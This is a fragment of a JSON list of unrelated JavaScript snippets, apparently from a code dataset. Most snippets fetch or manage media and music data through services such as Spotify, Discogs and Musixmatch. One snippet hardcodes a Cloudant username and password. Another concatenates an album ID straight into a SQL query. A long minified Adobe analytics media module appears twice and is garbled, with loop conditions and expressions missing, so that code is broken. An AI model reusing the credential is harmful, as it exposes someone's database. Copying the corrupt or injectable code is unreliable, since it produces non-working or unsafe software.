!= '' && payload.artist != '') {\\n music = await axios.get('https://api.discogs.com/database/search?release_title='+payload.title+'&genre=Stage+&+Screen&artist='+payload.artist+'&token='+token.token)\\n } else if(payload.title == '' && payload.artist != '') {\\n music = await axios.get('https://api.discogs.com/database/search?genre=Stage+&+Screen&artist='+payload.artist+'&token='+token.token)\\n } else if(payload.title != '' && payload.artist == '') {\\n music = await axios.get('https://api.discogs.com/database/search?release_title='+payload.title+'&genre=Stage+&+Screen&token='+token.token)\\n }\\n let list = music.data.results.slice(music.data.results[0]);\\n ctx.commit('setSoundtrackSearchResult', list);\\n }\",\n \"function getAllImages(){\\n var contents = Contents_Live.find({ \\\"code\\\": Session.get(\\\"UserLogged\\\").code });\\n var imagesArray = [];\\n contents.forEach(function(doc){\\n var res = doc.contentType.split(\\\"/\\\");\\n if(res[0] == \\\"image\\\"){\\n var obj = {\\n '_id': doc._id,\\n 'imageName': doc.contentName\\n };\\n imagesArray.push(obj);\\n }\\n });\\n if(imagesArray.length > 0){\\n return imagesArray;\\n }else{\\n return null;\\n }\\n}\",\n \"static getMedium(id){\\n return fetch(`${BASE_URL}media/${id}`)\\n .then(res => res.json())\\n }\",\n \"function getSongs(callback) {\\n\\n}\",\n \"function getMediaItems(title, commonLocation, lat, long, eventId, eventHtml) {\\n getNodeMediaItems(title, commonLocation, eventId, eventHtml);\\n // getTeleportdMediaItems(title, lat, long, eventId, eventHtml); // ficken\\n}\",\n \"function retrieveNodeMediaItemsResults(data, eventId, eventHtml) {\\n var socialNetworks = Object.keys(data);\\n // check if we have media at all, a bit ugly, but works\\n var mediaExist = false;\\n for (var i = 0, len = socialNetworks.length; i < len; i++) {\\n var media = data[socialNetworks[i]];\\n if (media.length) {\\n mediaExist = true;\\n break;\\n }\\n }\\n if (mediaExist) {\\n var html = '';\\n socialNetworks.forEach(function(socialNetwork) {\\n var media = data[socialNetwork];\\n media.forEach(function(mediaItem) {\\n if (mediaItem.type === 'photo') {\\n if ((!eventMediaItems[eventId][mediaItem.mediaurl]) &&\\n // TODO: very lame way to remove spammy messages with just too\\n // much characters\\n (mediaItem.micropost.plainText.length <= 500)) {\\n html += htmlFactory.media(\\n mediaItem.mediaUrl,\\n mediaItem.micropost.plainText,\\n mediaItem.micropostUrl);\\n eventMediaItems[eventId][mediaItem.mediaUrl] = true;\\n addBackgroundImage(eventPages[eventId], mediaItem.mediaUrl);\\n }\\n }\\n });\\n });\\n addPageContent(eventPages[eventId], html);\\n }\\n // no media exist\\n else {\\n // ugly hack: getMediaItems gets called two times,\\n // so only delete the second time we get no media\\n var page = eventPages[eventId];\\n var times = page.data('noMediaExistTimes') || 0;\\n times++;\\n page.data('noMediaExistTimes', times);\\n\\n // remove the page from the flipbook\\n if (times == 2) {\\n // find the right pagenumber by looping through all pages (sigh…)\\n var pages = $('#flipbook').data('pageObjs');\\n for (var pageNumber in pages) {\\n if (pages[pageNumber][0] === page[0]) {\\n $('#flipbook').turn('removePage', pageNumber);\\n break;\\n }\\n }\\n }\\n }\\n}\",\n \"function getMedia() {\\n\\tvar results = [];\\n\\n\\tif (extensions && extensions.hasOwnProperty('media')) {\\n\\t\\tvar sourceArray = extensions.media;\\n\\n\\t\\tfor (index = 0; index < sourceArray.length; ++index) {\\n\\t\\t results.push(sourceArray[index]);\\n\\t\\t}\\n\\t}\\n\\n\\treturn results;\\n}\",\n \"function getMediaInfos() {\\n var mediaInfos = adapter.getAllMediaInfoForType(streamInfo, constants.VIDEO);\\n mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.AUDIO));\\n mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.TEXT)); // mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.MUXED));\\n // mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.IMAGE));\\n\\n eventBus.trigger(events.OFFLINE_RECORD_LOADEDMETADATA, {\\n id: manifestId,\\n mediaInfos: mediaInfos\\n });\\n }\",\n \"function getProductMedia(id, media_type) {\\n var deferred = $q.defer();\\n var query = \\\"SELECT * FROM product_media WHERE product_id = ? AND product_media_type = ?\\\";\\n mysql.query(query, [id, media_type], function (err, rows) {\\n if (err) deferred.reject(err);\\n deferred.resolve(rows);\\n });\\n return deferred.promise;\\n }\",\n \"function getMediaQueryString(refreshToken) {\\n let csrfToken = getCookie('csrf-token')\\n\\tlet mediaToken = refreshToken ? md5(refreshToken) : '';\\n return '_csrf='+csrfToken+'&_media='+mediaToken\\n}\",\n \"function deleteMedias(){\\n imagesToRemove = []\\n console.log(\\\"BORRANDO\\\")\\n $.couch.urlPrefix = \\\"https://socpa.cloudant.com\\\";\\n $.couch.login({\\n name: \\\"socpa\\\",\\n password: \\\"asdargonnijao\\\"\\n });\\n\\n return $.couch.db(\\\"media\\\").view(\\\"todelete/todelete\\\", {\\n key: canvas_id,\\n reduce: false,\\n success: function(data) {\\n\\n },\\n error: function(status) {\\n console.log(status);\\n }\\n\\n })\\n}\",\n \"function getSongs() {\\n\\n var spotify = new Spotify(keys.spotify);\\n\\n var songName = process.argv[3];\\n\\n spotify.search({ type: 'track', query: songName, limit: 1 }, function (err, data) {\\n if (err) {\\n return console.log('Error occurred: ' + err);\\n }\\n\\n console.log(data.tracks.items[0].artists[0].name);\\n console.log(data.tracks.items[0].album.name);\\n console.log(data.tracks.items[0].name);\\n console.log(data.tracks.items[0].external_urls.spotify);\\n });\\n\\n\\n}\",\n \"getAllSongs() {\\n Utils.get('/allSongs')\\n .then((response) => {\\n return response.json();\\n })\\n .then((json) => {\\n Dispatcher.dispatch({\\n type: ActionType.RECEIVE_ALL_SONGS,\\n songs: json\\n })\\n })\\n .catch((err) => {\\n console.error('failed: ', err)\\n })\\n }\",\n \"function addMedia(type,media){\\n //assumption ki tabhi chlega jb dbAccess hoga\\n let tx = dbAccess.transaction(\\\"gallery\\\",\\\"readwrite\\\");\\n let galleryObjectStore = tx.objectStore(\\\"gallery\\\");\\n let data={\\n mId : Date.now(),\\n type,\\n media,\\n };\\n galleryObjectStore.add(data);\\n}\",\n \"function getMedia() {\\n\\tvar results = [];\\n\\n\\tif (config.hasOwnProperty('extensions') && config.extensions.hasOwnProperty('media')) {\\n\\t\\tvar sourceArray = config.extensions.media;\\n\\n\\t\\tfor (index = 0; index < sourceArray.length; ++index) {\\n\\t\\t results.push(sourceArray[index]);\\n\\t\\t}\\n\\t}\\n\\n\\treturn results;\\n}\",\n \"function addAlbum(albumID) {\\n var query = \\\" SELECT concat('file://','/', u.rpath)\\\";\\n query += \\\" FROM tracks t, urls u\\\";\\n query += \\\" where t.album=\\\"+albumID;\\n query += \\\" and t.url=u.id\\\";\\n query += \\\" order by t.discnumber, t.tracknumber\\\";\\n var result = sql(query);\\n for (var i=0; i < result.length; i++) {\\n Amarok.Playlist.addMedia(new QUrl(result[i]));\\n }\\n}\",\n \"function mediaHandler ( info, tab ) {\\n sendItem( { 'imageUrl': info.srcUrl } );\\n}\",\n \"async function getMedia() {\\n let results = res.map(post => { \\n // return fetchMediaWithUrl(post[\\\"_links\\\"][\\\"wp:featuredmedia\\\"][0].href).then(images => {\\n // const thumb = images[\\\"media_details\\\"].sizes.thumbnail.source_url;\\n const title = post.title.rendered;\\n const postId = post.id;\\n const thumb = post.featured_media_src_url;\\n // console.log(post.featured_media_src_url);\\n // console.log(thumb);\\n return { title: title, thumb: thumb, id: postId };\\n //});\\n });\\n //return Promise.all(results);\\n return results;\\n}\",\n \"function pubMedia(req, res) {\\n return _media2.default.find({ 'pub': req.user.email },null, {sort: {created_at: -1}}).exec().then(respondWithResult(res)).catch(handleError(res));\\n}\",\n \"function filter (type,id_carousel){\\n $(id_carousel + \\\" ol\\\").empty();\\n $(id_carousel + \\\" .carousel-inner\\\").empty();\\n var url;\\n if (type !== \\\"all\\\"){\\n url = 'https://api.spotify.com/v1/artists/'+artist_selected+'/albums?market=ES&album_type='+type+'&limit=40';\\n }else{\\n url = 'https://api.spotify.com/v1/artists/'+artist_selected+'/albums?market=ES&limit=40';\\n }\\n \\n request(url,\\\"load_albums\\\",id_carousel);\\n}\",\n \"static addSongs() {\\n fetch(\\\"https://itunes.apple.com/us/rss/topalbums/limit=100/json\\\")\\n .then(resp => resp.json())\\n .then(data => {\\n let i = 1;\\n data.feed.entry.forEach(album => {\\n let newCard = new Album(i, album[\\\"im:image\\\"][0].label, album[\\\"im:name\\\"].label, album[\\\"im:artist\\\"].label, album[\\\"id\\\"].label, album[\\\"im:price\\\"].label, album[\\\"im:releaseDate\\\"].label)\\n i++;\\n Album.all.push(newCard);\\n });\\n })\\n }\",\n \"function allAccessSearch() {\\n var deferred = Q.defer();\\n\\n that.pm.search(query, 25, function(err, data) {\\n if (err) { deferred.reject(err); return; }\\n\\n var songs = (data.entries || []).map(function(res) {\\n var ret = {};\\n\\n ret.score = res.score;\\n\\n if (res.type == \\\"1\\\") {\\n ret.type = \\\"track\\\";\\n ret.track = that._parseTrackObject(res.track);\\n }\\n else if (res.type == \\\"2\\\") {\\n ret.type = \\\"artist\\\";\\n ret.artist = res.artist;\\n }\\n else if (res.type == \\\"3\\\") {\\n ret.type = \\\"album\\\";\\n ret.album = res.album;\\n }\\n\\n return ret;\\n });\\n\\n deferred.resolve(songs);\\n });\\n\\n return deferred.promise;\\n }\",\n \"function AppMeasurement_Module_Media(s){var m=this;m.s=s;s=window;if(!s.s_c_in)s.s_c_il=[],s.s_c_in=0;m._il=s.s_c_il;m._in=s.s_c_in;m._il[m._in]=m;s.s_c_in++;m._c=\\\"s_m\\\";m.list=[];m.open=function(w,b,c,h){var d={},a=new Date,g=\\\"\\\",e;b||(b=-1);if(w&&c){if(!m.list)m.list={};m.list[w]&&m.close(w);if(h&&h.id)g=h.id;if(g)for(e in m.list)!Object.prototype[e]&&m.list[e]&&m.list[e].S==g&&m.close(m.list[e].name);d.name=w;d.length=b;d.u=0;d.c=0;d.playerName=m.playerName?m.playerName:c;d.S=g;d.L=0;d.f=0;d.timestamp=\\r\\n\\t\\tMath.floor(a.getTime()/1E3);d.j=0;d.r=d.timestamp;d.a=-1;d.B=\\\"\\\";d.k=-1;d.C=0;d.H={};d.F=0;d.m=0;d.e=\\\"\\\";d.A=0;d.K=0;d.z=0;d.D=0;d.l=!1;d.v=\\\"\\\";d.I=\\\"\\\";d.J=0;d.q=!1;d.G=\\\"\\\";d.complete=0;d.Q=0;d.o=0;d.p=0;m.list[w]=d}};m.openAd=function(w,b,c,h,d,a,g,e){var f={};m.open(w,b,c,e);if(f=m.list[w])f.l=!0,f.v=h,f.I=d,f.J=a,f.G=g};m.M=function(w){var b=m.list[w];m.list[w]=0;b&&b.monitor&&clearTimeout(b.monitor.R)};m.close=function(w){m.g(w,0,-1)};m.play=function(w,b,c,h){var d=m.g(w,1,b,c,h);if(d&&!d.monitor)d.monitor=\\r\\n\\t\\t{},d.monitor.update=function(){d.j==1&&m.g(d.name,3,-1);d.monitor.R=setTimeout(d.monitor.update,1E3)},d.monitor.update()};m.click=function(w,b){m.g(w,7,b)};m.complete=function(w,b){m.g(w,5,b)};m.stop=function(w,b){m.g(w,2,b)};m.track=function(w){m.g(w,4,-1)};m.P=function(w,b){var c=\\\"a.media.\\\",h=w.linkTrackVars,d=w.linkTrackEvents,a=\\\"m_i\\\",g,e=w.contextData,f;if(b.l){c+=\\\"ad.\\\";if(b.v)e[\\\"a.media.name\\\"]=b.v,e[c+\\\"pod\\\"]=b.I,e[c+\\\"podPosition\\\"]=b.J;if(!b.F)e[c+\\\"CPM\\\"]=b.G}if(b.q)e[c+\\\"clicked\\\"]=!0,b.q=!1;e[\\\"a.contentType\\\"]=\\r\\n\\t\\t\\\"video\\\"+(b.l?\\\"Ad\\\":\\\"\\\");e[\\\"a.media.channel\\\"]=m.channel;e[c+\\\"name\\\"]=b.name;e[c+\\\"playerName\\\"]=b.playerName;if(b.length>0)e[c+\\\"length\\\"]=b.length;e[c+\\\"timePlayed\\\"]=Math.floor(b.f);Math.floor(b.f)>0&&(e[c+\\\"timePlayed\\\"]=Math.floor(b.f));if(!b.F)e[c+\\\"view\\\"]=!0,a=\\\"m_s\\\",b.F=1;if(b.e){e[c+\\\"segmentNum\\\"]=b.m;e[c+\\\"segment\\\"]=b.e;if(b.A>0)e[c+\\\"segmentLength\\\"]=b.A;b.z&&b.f>0&&(e[c+\\\"segmentView\\\"]=!0)}if(!b.Q&&b.complete)e[c+\\\"complete\\\"]=!0,b.T=1;if(b.o>0)e[c+\\\"milestone\\\"]=b.o;if(b.p>0)e[c+\\\"offsetMilestone\\\"]=b.p;if(h)for(f in e)Object.prototype[f]||\\r\\n\\t\\t(h+=\\\",contextData.\\\"+f);g=e[\\\"a.contentType\\\"];w.pe=a;w.pev3=g;var s,n;if(m.contextDataMapping){if(!w.events2)w.events2=\\\"\\\";h&&(h+=\\\",events\\\");for(f in m.contextDataMapping)if(!Object.prototype[f]){a=f.length>c.length&&f.substring(0,c.length)==c?f.substring(c.length):\\\"\\\";g=m.contextDataMapping[f];if(typeof g==\\\"string\\\"){s=g.split(\\\",\\\");for(n=0;n0?g-a.r+a.a:\\r\\n\\t\\ta.a);a.length>0&&(c=c0)a.c=a.u/a.length*100,a.c=a.c>100?100:a.c;if(a.a<0)a.a=c;u=a.C;i.name=w;i.ad=a.l;i.length=a.length;i.openTime=new Date;i.openTime.setTime(a.timestamp*1E3);i.offset=a.u;i.percent=a.c;i.playerName=a.playerName;i.mediaEvent=a.k<0?\\\"OPEN\\\":b==1?\\\"PLAY\\\":b==2?\\\"STOP\\\":b==3?\\\"MONITOR\\\":b==4?\\\"TRACK\\\":b==5?\\\"COMPLETE\\\":b==7?\\\"CLICK\\\":\\\"CLOSE\\\";if(b>2||b!=a.j&&(b!=2||a.j==1)){if(!d)h=a.m,d=a.e;if(b){if(b==1)a.a=c;if((b<=3||b>=5)&&a.k>=0)if(l=!1,s=n=\\r\\n\\t\\t\\\"None\\\",a.k!=c){f=a.k;if(f>c)f=a.a,f>c&&(f=c);k=p?p.split(\\\",\\\"):0;if(a.length>0&&k&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\\\"MILESTONE\\\",a.o=i.milestone=e;if((k=q?q.split(\\\",\\\"):0)&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\\\"OFFSET_MILESTONE\\\",a.p=i.offsetMilestone=e}if(a.K||!d){if(r&&p&&a.length>0){if(k=p.split(\\\",\\\")){k.push(\\\"100\\\");for(j=f=0;j0?a.length:\\\"E\\\"));for(j=f=0;j=0&&(l=!0)}if((b>=2||a.c>=100)&&a.a=0&&b<=3&&(o=o?o:0)&&a.f>=o)l=!0,i.mediaEvent=\\r\\n\\t\\t\\\"SECONDS\\\";a.r=g;a.a=c}if(!b||b<=3&&a.c>=100)a.j!=2&&(a.B+=\\\"E\\\"+Math.floor(c)),b=0,s=n=\\\"None\\\",i.mediaEvent=\\\"CLOSE\\\";if(b==7)l=i.clicked=a.q=!0;if(b==5||m.completeByCloseOffset&&(!b||a.c>=100)&&a.length>0&&c>=a.length-m.completeCloseOffsetThreshold)l=i.complete=a.complete=!0;g=i.mediaEvent;g==\\\"MILESTONE\\\"?g+=\\\"_\\\"+i.milestone:g==\\\"OFFSET_MILESTONE\\\"&&(g+=\\\"_\\\"+i.offsetMilestone);a.H[g]?i.eventFirstTime=!1:(i.eventFirstTime=!0,a.H[g]=1);i.event=i.mediaEvent;i.timePlayed=a.L;i.segmentNum=a.m;i.segment=a.e;i.segmentLength=\\r\\n\\t\\ta.A;m.monitor&&b!=4&&m.monitor(m.s,i);b==0&&m.M(w);if(l&&a.C==u){w={};w.contextData={};w.linkTrackVars=s;w.linkTrackEvents=n;if(!w.linkTrackVars)w.linkTrackVars=\\\"\\\";if(!w.linkTrackEvents)w.linkTrackEvents=\\\"\\\";m.P(w,a);w.linkTrackVars||(w[\\\"!linkTrackVars\\\"]=1);w.linkTrackEvents||(w[\\\"!linkTrackEvents\\\"]=1);m.s.track(w);if(a.D)a.m=h,a.e=d,a.z=!0,a.D=!1;else if(a.f>0)a.z=!1;a.B=\\\"\\\";a.o=a.p=0;a.f-=Math.floor(a.f);a.k=c;a.C++}}}return a};m.O=function(w,b,c,h,d){var a=0;if(w&&(!m.autoTrackMediaLengthRequired||\\r\\n\\t\\tb&&b>0)){if(!m.list||!m.list[w]){if(c==1||c==3)m.open(w,b,\\\"HTML5 Video\\\",d),a=1}else a=1;a&&m.g(w,c,h,-1,0)}};m.attach=function(w){var b,c,h;if(w&&w.tagName&&w.tagName.toUpperCase()==\\\"VIDEO\\\"){if(!m.n)m.n=function(b,a,w){var c,f;if(m.autoTrack){c=b.currentSrc;(f=b.duration)||(f=-1);if(w<0)w=b.currentTime;m.O(c,f,a,w,b)}};b=function(){m.n(w,1,-1)};c=function(){m.n(w,1,-1)};m.i(w,\\\"play\\\",b);m.i(w,\\\"pause\\\",c);m.i(w,\\\"seeking\\\",c);m.i(w,\\\"seeked\\\",b);m.i(w,\\\"ended\\\",function(){m.n(w,0,-1)});m.i(w,\\\"timeupdate\\\",\\r\\n\\t\\tb);h=function(){!w.paused&&!w.ended&&!w.seeking&&m.n(w,3,-1);setTimeout(h,1E3)};h()}};m.i=function(m,b,c){m.attachEvent?m.attachEvent(\\\"on\\\"+b,c):m.addEventListener&&m.addEventListener(b,c,!1)};if(m.completeByCloseOffset==void 0)m.completeByCloseOffset=1;if(m.completeCloseOffsetThreshold==void 0)m.completeCloseOffsetThreshold=1;m.N=function(){var w,b;if(m.autoTrack&&(w=m.s.d.getElementsByTagName(\\\"VIDEO\\\")))for(b=0;b0)e[c+\\\"length\\\"]=b.length;e[c+\\\"timePlayed\\\"]=Math.floor(b.f);Math.floor(b.f)>0&&(e[c+\\\"timePlayed\\\"]=Math.floor(b.f));if(!b.F)e[c+\\\"view\\\"]=!0,a=\\\"m_s\\\",b.F=1;if(b.e){e[c+\\\"segmentNum\\\"]=b.m;e[c+\\\"segment\\\"]=b.e;if(b.A>0)e[c+\\\"segmentLength\\\"]=b.A;b.z&&b.f>0&&(e[c+\\\"segmentView\\\"]=!0)}if(!b.Q&&b.complete)e[c+\\\"complete\\\"]=!0,b.T=1;if(b.o>0)e[c+\\\"milestone\\\"]=b.o;if(b.p>0)e[c+\\\"offsetMilestone\\\"]=b.p;if(h)for(f in e)Object.prototype[f]||\\r\\n(h+=\\\",contextData.\\\"+f);g=e[\\\"a.contentType\\\"];w.pe=a;w.pev3=g;var s,n;if(m.contextDataMapping){if(!w.events2)w.events2=\\\"\\\";h&&(h+=\\\",events\\\");for(f in m.contextDataMapping)if(!Object.prototype[f]){a=f.length>c.length&&f.substring(0,c.length)==c?f.substring(c.length):\\\"\\\";g=m.contextDataMapping[f];if(typeof g==\\\"string\\\"){s=g.split(\\\",\\\");for(n=0;n0?g-a.r+a.a:\\r\\na.a);a.length>0&&(c=c0)a.c=a.u/a.length*100,a.c=a.c>100?100:a.c;if(a.a<0)a.a=c;u=a.C;i.name=w;i.ad=a.l;i.length=a.length;i.openTime=new Date;i.openTime.setTime(a.timestamp*1E3);i.offset=a.u;i.percent=a.c;i.playerName=a.playerName;i.mediaEvent=a.k<0?\\\"OPEN\\\":b==1?\\\"PLAY\\\":b==2?\\\"STOP\\\":b==3?\\\"MONITOR\\\":b==4?\\\"TRACK\\\":b==5?\\\"COMPLETE\\\":b==7?\\\"CLICK\\\":\\\"CLOSE\\\";if(b>2||b!=a.j&&(b!=2||a.j==1)){if(!d)h=a.m,d=a.e;if(b){if(b==1)a.a=c;if((b<=3||b>=5)&&a.k>=0)if(l=!1,s=n=\\r\\n\\\"None\\\",a.k!=c){f=a.k;if(f>c)f=a.a,f>c&&(f=c);k=p?p.split(\\\",\\\"):0;if(a.length>0&&k&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\\\"MILESTONE\\\",a.o=i.milestone=e;if((k=q?q.split(\\\",\\\"):0)&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\\\"OFFSET_MILESTONE\\\",a.p=i.offsetMilestone=e}if(a.K||!d){if(r&&p&&a.length>0){if(k=p.split(\\\",\\\")){k.push(\\\"100\\\");for(j=f=0;j0?a.length:\\\"E\\\"));for(j=f=0;j=0&&(l=!0)}if((b>=2||a.c>=100)&&a.a=0&&b<=3&&(o=o?o:0)&&a.f>=o)l=!0,i.mediaEvent=\\r\\n\\\"SECONDS\\\";a.r=g;a.a=c}if(!b||b<=3&&a.c>=100)a.j!=2&&(a.B+=\\\"E\\\"+Math.floor(c)),b=0,s=n=\\\"None\\\",i.mediaEvent=\\\"CLOSE\\\";if(b==7)l=i.clicked=a.q=!0;if(b==5||m.completeByCloseOffset&&(!b||a.c>=100)&&a.length>0&&c>=a.length-m.completeCloseOffsetThreshold)l=i.complete=a.complete=!0;g=i.mediaEvent;g==\\\"MILESTONE\\\"?g+=\\\"_\\\"+i.milestone:g==\\\"OFFSET_MILESTONE\\\"&&(g+=\\\"_\\\"+i.offsetMilestone);a.H[g]?i.eventFirstTime=!1:(i.eventFirstTime=!0,a.H[g]=1);i.event=i.mediaEvent;i.timePlayed=a.L;i.segmentNum=a.m;i.segment=a.e;i.segmentLength=\\r\\na.A;m.monitor&&b!=4&&m.monitor(m.s,i);b==0&&m.M(w);if(l&&a.C==u){w={};w.contextData={};w.linkTrackVars=s;w.linkTrackEvents=n;if(!w.linkTrackVars)w.linkTrackVars=\\\"\\\";if(!w.linkTrackEvents)w.linkTrackEvents=\\\"\\\";m.P(w,a);w.linkTrackVars||(w[\\\"!linkTrackVars\\\"]=1);w.linkTrackEvents||(w[\\\"!linkTrackEvents\\\"]=1);m.s.track(w);if(a.D)a.m=h,a.e=d,a.z=!0,a.D=!1;else if(a.f>0)a.z=!1;a.B=\\\"\\\";a.o=a.p=0;a.f-=Math.floor(a.f);a.k=c;a.C++}}}return a};m.O=function(w,b,c,h,d){var a=0;if(w&&(!m.autoTrackMediaLengthRequired||\\r\\nb&&b>0)){if(!m.list||!m.list[w]){if(c==1||c==3)m.open(w,b,\\\"HTML5 Video\\\",d),a=1}else a=1;a&&m.g(w,c,h,-1,0)}};m.attach=function(w){var b,c,h;if(w&&w.tagName&&w.tagName.toUpperCase()==\\\"VIDEO\\\"){if(!m.n)m.n=function(b,a,w){var c,f;if(m.autoTrack){c=b.currentSrc;(f=b.duration)||(f=-1);if(w<0)w=b.currentTime;m.O(c,f,a,w,b)}};b=function(){m.n(w,1,-1)};c=function(){m.n(w,1,-1)};m.i(w,\\\"play\\\",b);m.i(w,\\\"pause\\\",c);m.i(w,\\\"seeking\\\",c);m.i(w,\\\"seeked\\\",b);m.i(w,\\\"ended\\\",function(){m.n(w,0,-1)});m.i(w,\\\"timeupdate\\\",\\r\\nb);h=function(){!w.paused&&!w.ended&&!w.seeking&&m.n(w,3,-1);setTimeout(h,1E3)};h()}};m.i=function(m,b,c){m.attachEvent?m.attachEvent(\\\"on\\\"+b,c):m.addEventListener&&m.addEventListener(b,c,!1)};if(m.completeByCloseOffset==void 0)m.completeByCloseOffset=1;if(m.completeCloseOffsetThreshold==void 0)m.completeCloseOffsetThreshold=1;m.N=function(){var w,b;if(m.autoTrack&&(w=m.s.d.getElementsByTagName(\\\"VIDEO\\\")))for(b=0;b photo[\\\"@size\\\"] === \\\"pn\\\");\\n }\\n\\n return { photos };\\n }\",\n \"function similarItems(media_type, id){\\n tmdb_url = `https://api.themoviedb.org/3/${media_type}/${id}/similar?api_key=${api_key}&language=en-US&page=1`;\\n try{\\n const promise = axios.get(tmdb_url);\\n const pm_data = promise.then(response => processSmallCarousel(response.data, media_type));\\n return pm_data;\\n } catch(error) {\\n console.error(error);\\n }\\n}\",\n \"static listMusic() {\\n let music = new Array();\\n\\n music.push('sounds/music/incompetech/delightful_d.ogg');\\n music.push('sounds/music/incompetech/twisting.ogg'); // Moody, good for cave.\\n music.push('sounds/music/incompetech/pookatori_and_friends.ogg');\\n music.push('sounds/music/incompetech/getting_it_done.ogg');\\n music.push('sounds/music/incompetech/robobozo.ogg');\\n music.push('sounds/music/incompetech/balloon_game.ogg');\\n music.push('sounds/music/incompetech/cold_sober.ogg');\\n music.push('sounds/music/incompetech/salty_ditty.ogg');\\n music.push('sounds/music/incompetech/townie_loop.ogg'); // Very peaceful, flute.\\n music.push('sounds/music/incompetech/mega_hyper_ultrastorm.ogg'); // Super energetic. Maybe for special.\\n // Legacy\\n music.push('sounds/music/music_peaceful_contemplative_starling.ogg');\\n music.push('sounds/music/twinmusicom_8_bit_march.ogg');\\n music.push('sounds/music/twinmusicom_nes_overworld.ogg');\\n music.push('sounds/music/music_juhanijunkala_chiptune_01.ogg');\\n\\n return music;\\n }\",\n \"function mediaqueryresponse(mql){\\n\\t\\t\\t\\tif (mql.matches) { // if media query matches\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t} else if (!mql.matches) {\\n\\t\\t\\t\\t\\tsetupServices();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"get media () {\\n\\n\\t\\tif (typeof this.elements === 'undefined') {\\n\\t\\t\\tthrow Error('Cannot access media until publication is loaded');\\n\\t\\t}\\n\\n\\t\\treturn this.elements.filter(({ type }) => {\\n\\t\\t\\treturn type === 'media';\\n\\t\\t}).map(({ data }) => {\\n\\t\\t\\treturn new Media(data);\\n\\t\\t});\\n\\t}\",\n \"function findSong(savedArrayOfChoices) {\\n // declaring all vars according to savedArrayOfChoices \\n var pickCountry = savedArrayOfChoices[0];\\n var pickArtist = savedArrayOfChoices[1];\\n var pickRelatedArtist = savedArrayOfChoices[2];\\n var pickAlbum = savedArrayOfChoices[3];\\n var pickSong = savedArrayOfChoices[4];\\n\\n // pushing country into chartQuery, returns artist\\n var chartQuery = `chart.artists.get?page=1&page_size=4&country=${pickCountry}`;\\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\\n\\n $.ajax({\\n url: musixUrl,\\n method: \\\"GET\\\",\\n dataType: \\\"jsonp\\\"\\n\\n }).then(function (music) {\\n\\n // declaring artistId and artistname\\n var artistId = music.message.body.artist_list[pickArtist].artist.artist_id;\\n var artistName = music.message.body.artist_list[pickArtist].artist.artist_name;\\n\\n // pushing artistid, returns related artist\\n var chartQuery = `artist.related.get?artist_id=${artistId}&page_size=4&page=1`;\\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\\n\\n $.ajax({\\n url: musixUrl,\\n method: \\\"GET\\\",\\n dataType: \\\"jsonp\\\"\\n\\n }).then(function (music) {\\n\\n // declaring related artist id and name\\n var relatedArtistId;\\n var relatedArtistName;\\n\\n // if no related artists, just use artist\\n if (music.message.body.artist_list.length === 0) {\\n relatedArtistId = artistId;\\n relatedArtistName = artistName;\\n }\\n // otherwise use the related artist\\n else {\\n relatedArtistId = music.message.body.artist_list[pickRelatedArtist].artist.artist_id;\\n relatedArtistName = music.message.body.artist_list[pickRelatedArtist].artist.artist_name;\\n\\n }\\n\\n // pushing relatedArtistId, returns album\\n var chartQuery = `artist.albums.get?artist_id=${relatedArtistId}&s_release_date=desc&page_size=4`;\\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\\n\\n $.ajax({\\n url: musixUrl,\\n method: \\\"GET\\\",\\n dataType: \\\"jsonp\\\"\\n\\n }).then(function (music) {\\n\\n // declaring album id\\n var albumId\\n\\n // if statements for if the artist doesn't have 4 albums\\n if (music.message.body.album_list.length === pickSong) {\\n albumId = music.message.body.album_list[pickAlbum].album.album_id;\\n }\\n else if (music.message.body.album_list.length === 3) {\\n albumId = music.message.body.album_list[2].album.album_id;\\n\\n }\\n else if (music.message.body.album_list.length === 2) {\\n albumId = music.message.body.album_list[1].album.album_id;\\n }\\n else {\\n albumId = music.message.body.album_list[0].album.album_id;\\n\\n }\\n\\n // pushing albumID, returns song\\n var chartQuery = `album.tracks.get?album_id=${albumId}&page=1&page_size=4`;\\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\\n\\n $.ajax({\\n url: musixUrl,\\n method: \\\"GET\\\",\\n dataType: \\\"jsonp\\\"\\n\\n }).then(function (music) {\\n // declaring song name\\n var songName;\\n\\n // if statements for if the album doesn't have 4 songs\\n if (music.message.body.track_list.length === pickSong) {\\n songName = music.message.body.track_list[pickSong].track.track_name;\\n\\n }\\n else if (music.message.body.track_list.length === 3) {\\n songName = music.message.body.track_list[2].track.track_name;\\n\\n }\\n else if (music.message.body.track_list.length === 2) {\\n songName = music.message.body.track_list[1].track.track_name;\\n\\n }\\n else {\\n songName = music.message.body.track_list[0].track.track_name;\\n\\n }\\n // finds video with youtube api\\n getVideo(`${songName} ${relatedArtistName}`);\\n\\n // sets the text of final-artist-song to the song and artist that is found\\n $(\\\"#final-artist-song\\\").text(`${songName} by ${relatedArtistName}`);\\n });\\n });\\n });\\n });\\n}\",\n \"function getEmbededMedia(item, cb) {\\n\\tvar oembed,\\n\\t\\tu = '',\\n\\t\\thost = url.parse(item.url).host,\\n\\t\\t\\to = {\\n\\t\\t\\t\\turl: item.url,\\n\\t\\t\\t\\tmaxwidth: item.maxwidth//435,\\n\\t\\t\\t\\t//maxheight: 244\\n\\t\\t\\t};\\n\\t\\n\\tif (host.match(/vimeo.com/ig)) {\\n\\t\\tu = config.vimeo.oembed_url + '?' + qs.stringify(o);\\n\\t} else if 